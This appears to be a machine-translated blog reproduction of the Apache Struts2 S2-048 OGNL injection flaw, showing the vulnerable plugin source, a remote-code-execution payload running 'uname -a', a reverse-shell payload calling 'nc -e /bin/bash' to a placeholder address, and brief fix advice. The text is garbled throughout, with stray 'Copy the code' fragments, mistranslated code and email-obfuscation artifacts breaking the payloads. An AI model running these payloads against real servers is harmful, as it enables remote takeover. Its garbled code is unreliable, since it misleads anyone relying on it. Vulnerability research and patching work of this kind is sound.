​Strtus2-048

 


I. Vulnerability Description:

ActionMessage front-end display the customers, causing them to enter the getText function, the last message is treated as ognl expressions to perform so access/integration/saveGangster action structure content.

 

Ii. Impact Version:

Struts 2.3.x with Struts 1 plugin and Struts 1 action

 

Iii. Recurrence of vulnerabilities:

The s2-048 vulnerability was found in the struts2-struts1-plugin-2.3.32.jar plug-in, which makes Struts2 compatible with struts1 code.

Struts 2 - struts 2 - the plugin - 2.3.32 - sources. The jar! /org/apache/struts2/s1/Struts1Action.javaCopy the code

GetText (); execute (); getText ();

Struts1Factory strutsFactory = new Struts1Factory(Dispatcher.getInstance().getConfigurationManager().getConfiguration()); ActionMapping mapping = strutsFactory.createActionMapping(actionConfig); HttpServletRequest request = ServletActionContext.getRequest(); HttpServletResponse response = ServletActionContext.getResponse(); ActionForward forward = action.execute(mapping, this.actionForm, request, response); ActionMessages messages = (ActionMessages)request.getAttribute("org.apache.struts.action.ACTION_MESSAGE"); if (messages ! = null) { Iterator i = messages.get(); label36: while(true) { while(true) { if (! i.hasNext()) { break label36; } ActionMessage msg = (ActionMessage)i.next(); if (msg.getValues() ! = null && msg.getValues().length > 0) { this.addActionMessage(this.getText(msg.getKey(), Arrays.asList(msg.getValues()))); } else { this.addActionMessage(this.getText(msg.getKey())); }}}}Copy the code

Find action.execute(Mapping, this.actionForm, Request, Response); The execute code for this action method is as follows:

Enter the detailed execte specific method code:

public ActionForward execute(ActionMapping mapping, ActionForm form, ServletRequest request, ServletResponse response) throws Exception { try { return this.execute(mapping, form, (HttpServletRequest)request, (HttpServletResponse)response); } catch (ClassCastException var6) { return null; }}public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { return null; }Copy the code
src/apps/showcase/src/main/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java
Copy the code

@Overridepublic ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response) throws Exception { // Some code to save the gangster to the db as necessary GangsterForm gform = (GangsterForm) form; ActionMessages messages = new ActionMessages(); messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added successfully")); addMessages(request, messages); return mapping.findForward("success"); }Copy the code

Front desk corresponding page:

Gform.getname (), like $_POST[‘name’], concatenates user input directly.

Struts 2 - struts 2 - the plugin - 2.3.32 - sources. The jar! /org/apache/struts2/s1/Struts1Action.javaCopy the code

Web pages perform POC

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.get Instance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcl udedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@ getRuntime().exec('uname -a').getInputStream())).(#q)}Copy the code

Breakpoint debugging:

The specific commands are as follows:

You can see that the OGNL expression is passed in, and then the OGNL parsing is performed.

Successful execution:

This parameter is consistent with uname -a of the system

Take another approach: bounce the shell

Rebound:

%{(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess? (#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.get Instance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcl udedClasses().clear()).(#context.setMemberAccess(#dm)))).(#[email protected]@toString(@java.lang.Runtime@ getRuntime().exec('nc -e /bin/bash XX.XX.XX.XX 34567').getInputStream())).(#q)}Copy the code

Breakpoint debugging to get rebound information:

Successful execution:

Obtaining shell successfully

 

Iv. Vulnerability repair:

1. Temporary solution: Instead of passing the original message directly to ActionMessage, use ResourceKeys. As follows:

Messages. The add (" MSG ", new ActionMessage (" struts 2. GangsterAdded ", gform getName ()));Copy the code

Do not use the following method

Messages.add (" MSG ",new ActionMessage(" Gangster "+ gform.getName() +" was added "));Copy the code

 

3. Solution: Upgrade to the latest version.

 

 

Reference:

Seaii-blog.com/index.php/2…

Blog.csdn.net/qq_29647709…

 

 

Disclaimer: This site provides safety tools, procedures (methods) may be offensive, only for safety research and teaching, risk!

Subscribe for more revisited articles and study notes

thelostworld

Safe road, side by side with you !!!!

Personal knowledge: www.zhihu.com/people/fu-w…

Brief personal book: www.jianshu.com/u/bf0e38a8d…